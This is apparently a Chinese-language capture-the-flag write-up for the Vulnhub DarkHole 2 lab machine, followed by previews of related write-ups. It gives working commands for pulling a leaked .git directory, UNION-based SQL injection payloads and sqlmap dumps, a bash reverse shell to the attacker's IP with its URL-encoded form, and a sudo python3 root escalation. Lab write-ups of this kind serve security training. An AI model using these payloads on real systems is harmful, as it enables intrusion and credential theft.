jjzjj

Vulnhub-DarkHole_2-Writeup

C0ngvv 2023-03-28 原文

Vulnhub-DarkHole_2-Writeup

靶机地址:DARKHOLE: 2

Difficulty: Hard

目标发现与探索

使用arp-scan发现目标IP

arp-scan -l

使用nmap扫描开放端口

nmap -sV -p- 192.168.164.194

打开目标80端口发现没什么东西,查看源代码也没什么,只有一个登录连接

我们点进登录页面

想到可能是SQL注入,但是尝试之后没有结果。

太久没做了,都忘记该怎么做了,然后就去看了一下别人的解题过程,下面才是这个靶机的正确打开方式。

.git源码泄露漏洞

首先使用nmap -A 192.168.164.194进行扫描时,可以发现一个http-git页面

这里涉及.git源码泄露漏洞。.git文件夹里面保存了很多信息,用户所有的git操作和被操作的文件都会被记录,而且.git文件夹是个隐藏文件夹,所以管理员可能没注意到,将“.git”文件夹直接部署到线上环境,这就造成了git泄露问题。

利用方法可以使用Git源码泄露利用工具,也可以直接爬取整个git目录,我们使用后面这种方法。

(1)将这个git 库下载下来,-r表示递归下载,然后进入该目录

wget -r http://192.168.164.194/.git
cd 192.168.164.194

(2)利用git log命令查看提交过的记录

我们发现在a4d900a这个记录里写着login.php带了一个默认凭证。

(3)使用git reset --hard [log hash]恢复到指定版本号,--hard参数撤销工作区中所有未提交的修改内容,将暂存区与工作区都回到上一次版本,并删除之前的所有信息提交。

git reset --hard a4d900a

然后我们查看login.php的内容

vim login.php

然后就看到了邮箱账号密码,然后在网页端登录。

SQL 注入

登录后如下图,网址中id可能参数存在SQL注入

加上一个单引号后,页面变白,说明应该存在SQL注入漏洞

可以使用手工注入或利用SQLMAP工具注入,我们先使用手工注入,然后再来一次sqlmap注入。

手工注入

首先通过ORDER BY尝试确定列数,根据页面信息应该多于4列。

id=1' ORDER BY 5 --+
id=1' ORDER BY 6 --+
id=1' ORDER BY 7 --+
# 前面正常显示,当为7时页面空白,所以可以确定列数为6

然后构造UNION语句,确定哪些列的数据被显示在页面中。

id=' UNION ALL SELECT 1,2,3,4,5,6 --+

可以看到,2、3、5、6列被显示在页面上。然后将对应的数字换成SQL查询语句从而获取数据库中的信息。

查询数据库名(也可以通过源码的配置文件直接获得)

id=' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata --+

页面数据可能显示不全,可以查看原代码或检查元素,得到数据库名为darkhole_2

然后利用information_schema数据库获得表名、列名、数据。

#得到ssh表和user表
id=' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'--+
#查询ssh表获得列名:id, pass, user
id=' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'--+
#查询ssh表中的user和pass列的数据
id=' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh--+

得到账号和密码,然后利用ssh就可以登录到jehad账户。

SQLMAP注入

在使用sqlmap之前,我们还要先获取cookie,直接使用浏览器开发者工具就可以。

然后使用sqlmap进行注入,获取当前数据库名(也可以通过源码的配置文件直接获得)

#获取当前数据库名
sqlmap -u 'http://192.168.164.194/dashboard.php?id=1' --cookie='PHPSESSID=jk07n43rgooa5sg5dbnbi2a0cv' --dbms=mysql --current-db

#获取表
sqlmap -u 'http://192.168.164.194/dashboard.php?id=1' --cookie='PHPSESSID=jk07n43rgooa5sg5dbnbi2a0cv' --dbms=mysql -D darkhole_2 --tables

#获取ssh表数据
sqlmap -u 'http://192.168.164.194/dashboard.php?id=1' --cookie='PHPSESSID=jk07n43rgooa5sg5dbnbi2a0cv' --dbms=mysql -D darkhole_2 -T ssh --dump

得到账户名和密码同样利用ssh登录。

远程命令执行漏洞

使用SSH登录

ssh jehad@192.168.164.194
#输入密码
id

一般权限提升一般通过查看sudo权限,发现具有特殊权限的文件,发现秘密文件,还有一些历史记录,定时任务,系统软件版本漏洞什么的。

这道题这里采用的是定时任务,输入命令查看定时任务。

cat /etc/crontab

可以看到运行了一个php服务器在9999端口上,用户为losy,我们可以尝试去看一下原代码。

发现居然是个一句话木马,我们可以通过携带我们想要执行的命令的cmd参数访问这个链接就可以以losy的身份执行命令。不过这个链接只能本地访问,因为我们已经获取了目标靶机的一个用户,所以我们可以使用SSH的本地转发功能(SSH -L)。

这个功能是在本地监听一个端口,但该端口的连接被转发到远程主机的特定端口。相当于把远程端口映射到本地,即“将远程端口放在本地”。如下例子将监听本地9999端口,任何访问9999的客户端,都相当于远程访问example.com 的80端口,但是流量是通过 remote.server 的,并且所有流量都被加密.

ssh -L 0.0.0.0:9999:example.com:80 user@remote.server

还有一种变体:目标主机与代理主机可以是同一台主机,即将remote.server服务映射到本地:

ssh -L 0.0.0.0:9999:127.0.0.1:6379 user@remote.server

我们使用这个命令将目标靶机的本地9999映射到本地9999端口。

ssh -L 9999:127.0.0.1:9999 jehad@192.168.164.194

然后我们在浏览器中访问9999端口,传入cmd参数

可以看到,用户为losy,我们可以反弹一个losy的shell

bash -c 'bash -i >& /dev/tcp/192.168.164.179/9000 0>&1'

进行URL编码后

bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.164.179/9000%200%3E%261%27

利用nc -nvlp 9000在本地开启监听,然后将上面命令作为cmd参数访问,从而拿到shell,然后对shell进行升级

python3 -c 'import pty;pty.spawn("/bin/bash")'

获取Root权限

在losy用户的.bash_history文件里,可以发现他的密码

然后查看sudo权限,发现可以以root身份执行python3

那我们就可以以超级管理员身份开启一个shell

sudo python3 -c 'import os; os.system("/bin/bash")'

拿到flag。

参考文章

Git 菜鸟教程

如何利用.git文件夹下载整个网站泄漏的源码

「OpenSSH」- 端口转发

DarkHole_2 Walkthrough – Vulnhub – Writeup

有关Vulnhub-DarkHole_2-Writeup的更多相关文章

  1. Vulnhub之Gain Power靶机详细测试过程 - 2

    GainPower识别目标主机IP地址(kali㉿kali)-[~/Vulnhub/Gainpower]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|ScreenView:UniqueHosts3CapturedARPReq/Reppackets,from3hosts.Totalsize:180_____________________________________________________________________________IPAtMACAddressCountLenM

  2. Vulnhub之Gears of War靶机详细测试过程 - 2

    GearofWar识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Gearofwar]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:Finished!|ScreenView:UniqueHosts3CapturedARPReq/Reppackets,from3hosts.Totalsize:180_____________________________________________________________________________IPAtMACAddressCountLenMACVen

  3. VulnHub靶机-Jangow: 1.0.1 - 2

    NO.1VulnHub靶机-Jangow:1.0.1迟到的文章,就当库存发出来吧~byAnQtroops2022.9.100x00靶机信息1、下载地址:https://www.vulnhub.com/entry/jangow-101,754/2、难度:简单3、上架时间:2021年11月4日4、提示信息:Thesecrettothisboxisenumeration!Inquiriesjangow2021@gmail.com5、实验环境攻击机VMware、靶机ViralBox攻击机和靶机必须保证网络连通性!0x01信息收集靶机IP探测1、我们打开靶机之后能看到靶机的IP地址2、我们也可以用kal

  4. Vulnhub之GreenOptics靶机详细测试过程 - 2

    GreenOptics识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/GreenOptic]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:Finished!|ScreenView:UniqueHosts3CapturedARPReq/Reppackets,from3hosts.Totalsize:180_____________________________________________________________________________IPAtMACAddressCountLenMAC

  5. HTB HARD 靶机 Cerberus WriteUp - 2

    Cerberusnmap┌──(root💀kali)-[~]└─#nmap-A10.129.190.106StartingNmap7.93(https://nmap.org)at2023-03-2021:52EDTStats:0:00:51elapsed;0hostscompleted(1up),1undergoingScriptScanNSETiming:About97.95%done;ETC:21:53(0:00:00remaining)Nmapscanreportfor10.129.190.106Hostisup(0.43slatency).Notshown:999filteredtcp

  6. 【VulnHub靶场】——CHRONOS: 1 - 2

    作者名:Demo不是emo 主页面链接:主页传送门创作初心:一切为了她座右铭:不要让时代的悲哀成为你的悲哀专研方向:网络安全,数据结构每日emo:要做个明亮的人,要有个珍藏的故事,要看遍山河日落,要不虚此行。 从10月中旬开始制定了为期24周的打靶训练(每周一次),所以今天开始进行24次系统性打靶第三次训练,每次打靶后都会分享靶场攻略和总结的知识点,如果对渗透测试和打靶比较感兴趣的小伙伴们也可以跟着我一起训练哦(这24个靶场都是精挑细选的,基本覆盖了渗透测试需要了解的全部类型的漏洞),我们直接进行第三次打靶训练第三次打靶训练针对的知识点如下 端口扫描WEB侦查命令注入数据编解码搜索大法框架漏洞

  7. HGame 2023 Week2 部分Writeup - 2

    文章将第二周比赛结束后发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week2-bu-fen-writeup第二周的解题过程中,遇到的不少有意思的题目,同时,也学习到了不少的知识,故书写此题解,作为记录。Week2比赛地址:https://hgame.vidar.club/contest/3[WEB]GitLeakage顾名思义,是一道Git泄露题,使用GitHack工具即可,下载下来的文件夹中,可看到Th1s_1s-flag文件,打开即可获得flag:hgame{Don't^put*Git-in_web_directory}[WEB]v

  8. VulnHub靶场渗透实战11-Billu_b0x - 2

    前言kali:192.168.3.9桥接模式。靶机:192.168.3.12桥接模式(nat模式也可以,我桥接是为了方便我物理机的浏览器访问)1.arp扫描(也可用nmapC段发现),主机发现。获取的靶机IP地址是:192.168.3.12。arp-scan-l 2.扫描开启的端口和服务。nmap-sS-sV-T5-A-p-192.168.3.12nmap命令参数的意思。-p-端口范围。-sS使用TCPSYN扫描。-sV进行版本探测。-T5 使用的是一种快速扫面方式,扫描速度的级别,范围在(T0-T5)之间,级别越高速度越快。 访问一下80端口开放的web页面。 2.看这页面可能存在SQL注入

  9. Vulnhub之Grotesque3靶机详细测试过程 - 2

    Grotesque3识别目标主机IP地址─(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|ScreenView:UniqueHosts3CapturedARPReq/Reppackets,from3hosts.Totalsize:180_____________________________________________________________________________IPAtMACAddre

  10. Vulnhub之Hacksudo Thor靶机详细测试过程(提权成功) - 2

    HacksudoThor作者:jasonhuawen靶机信息名称:hacksudo:Thor地址:https://www.vulnhub.com/entry/hacksudo-thor,733/识别目标主机IP地址(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoThor]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|ScreenView:UniqueHosts3CapturedARPReq/Reppackets,from3hosts.Totalsize:180_

随机推荐